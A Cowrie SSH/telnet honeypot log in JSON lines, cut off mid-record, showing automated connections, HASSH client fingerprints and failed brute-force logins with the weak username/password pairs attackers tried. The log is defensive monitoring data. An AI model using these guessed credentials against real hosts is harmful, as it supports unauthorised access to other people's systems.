{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39626,"dst_ip":"159.203.135.109","dst_port":22,"session":"f08fcf71fe5e","protocol":"ssh","message":"New connection: 192.109.200.237:39626 (159.203.135.109:22) [session: f08fcf71fe5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:50.287836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:50.295230Z","src_ip":"192.109.200.237","session":"f08fcf71fe5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:50.459885Z","src_ip":"192.109.200.237","session":"f08fcf71fe5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:50.708705Z","src_ip":"192.109.200.237","session":"f08fcf71fe5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:51.794595Z","src_ip":"192.109.200.237","session":"f08fcf71fe5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39636,"dst_ip":"159.203.135.109","dst_port":22,"session":"9731bb62fc1c","protocol":"ssh","message":"New connection: 192.109.200.237:39636 (159.203.135.109:22) [session: 9731bb62fc1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:53.729404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:53.734910Z","src_ip":"192.109.200.237","session":"9731bb62fc1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:53.819137Z","src_ip":"192.109.200.237","session":"9731bb62fc1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:54.071648Z","src_ip":"192.109.200.237","session":"9731bb62fc1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:55.276626Z","src_ip":"192.109.200.237","session":"9731bb62fc1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47724,"dst_ip":"10.17.0.5","dst_port":23,"session":"967fc84310a1","protocol":"telnet","message":"New connection: 152.42.224.71:47724 (10.17.0.5:23) [session: 967fc84310a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:56.586209Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39644,"dst_ip":"159.203.135.109","dst_port":22,"session":"b08a00a8437b","protocol":"ssh","message":"New connection: 192.109.200.237:39644 (159.203.135.109:22) [session: b08a00a8437b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:57.203515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:57.208879Z","src_ip":"192.109.200.237","session":"b08a00a8437b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:57.293056Z","src_ip":"192.109.200.237","session":"b08a00a8437b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:57.548604Z","src_ip":"192.109.200.237","session":"b08a00a8437b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47740,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f214fd7bf19","protocol":"telnet","message":"New connection: 152.42.224.71:47740 (10.17.0.5:23) [session: 2f214fd7bf19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:57.559674Z"}
{"eventid":"cowrie.session.closed","duration":15.613150835037231,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:58.478075Z","src_ip":"152.42.224.71","session":"2b73d8ed61b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:03:58.634257Z","src_ip":"192.109.200.237","session":"b08a00a8437b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37362,"dst_ip":"159.203.135.109","dst_port":22,"session":"aebdb52a0d16","protocol":"ssh","message":"New connection: 192.109.200.237:37362 (159.203.135.109:22) [session: aebdb52a0d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:00.513224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:00.583985Z","src_ip":"192.109.200.237","session":"aebdb52a0d16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:00.668270Z","src_ip":"192.109.200.237","session":"aebdb52a0d16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:00.921302Z","src_ip":"192.109.200.237","session":"aebdb52a0d16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:02.008262Z","src_ip":"192.109.200.237","session":"aebdb52a0d16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37368,"dst_ip":"159.203.135.109","dst_port":22,"session":"01bc2b5d3324","protocol":"ssh","message":"New connection: 192.109.200.237:37368 (159.203.135.109:22) [session: 01bc2b5d3324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:04.197649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:04.203633Z","src_ip":"192.109.200.237","session":"01bc2b5d3324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:04.286369Z","src_ip":"192.109.200.237","session":"01bc2b5d3324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:04.545025Z","src_ip":"192.109.200.237","session":"01bc2b5d3324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:05.630976Z","src_ip":"192.109.200.237","session":"01bc2b5d3324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.19840383529663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:05.867051Z","src_ip":"209.127.178.212","session":"0a591ab295c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37370,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c4e8cfaf150","protocol":"ssh","message":"New connection: 192.109.200.237:37370 (159.203.135.109:22) [session: 0c4e8cfaf150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:07.569463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:07.588784Z","src_ip":"192.109.200.237","session":"0c4e8cfaf150","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:07.655380Z","src_ip":"192.109.200.237","session":"0c4e8cfaf150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:07.974899Z","src_ip":"192.109.200.237","session":"0c4e8cfaf150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:09.060344Z","src_ip":"192.109.200.237","session":"0c4e8cfaf150","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49998,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b40416e23b0","protocol":"telnet","message":"New connection: 152.42.224.71:49998 (10.17.0.5:23) [session: 3b40416e23b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:10.299383Z"}
{"eventid":"cowrie.session.closed","duration":43.41294860839844,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:10.737556Z","src_ip":"152.42.224.71","session":"acff0ddb19c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47922,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9456f9eb3f8","protocol":"ssh","message":"New connection: 192.109.200.237:47922 (159.203.135.109:22) [session: a9456f9eb3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:10.969042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:10.973435Z","src_ip":"192.109.200.237","session":"a9456f9eb3f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:11.060016Z","src_ip":"192.109.200.237","session":"a9456f9eb3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:11.306890Z","src_ip":"192.109.200.237","session":"a9456f9eb3f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50008,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad446d7ffa79","protocol":"telnet","message":"New connection: 152.42.224.71:50008 (10.17.0.5:23) [session: ad446d7ffa79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:11.920973Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:12.391794Z","src_ip":"192.109.200.237","session":"a9456f9eb3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.44602060317993,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:13.874530Z","src_ip":"209.127.178.212","session":"f3e42967cc71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47928,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2e36721314e","protocol":"ssh","message":"New connection: 192.109.200.237:47928 (159.203.135.109:22) [session: e2e36721314e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:14.430166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:04:14.435765Z","src_ip":"192.109.200.237","session":"e2e36721314e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.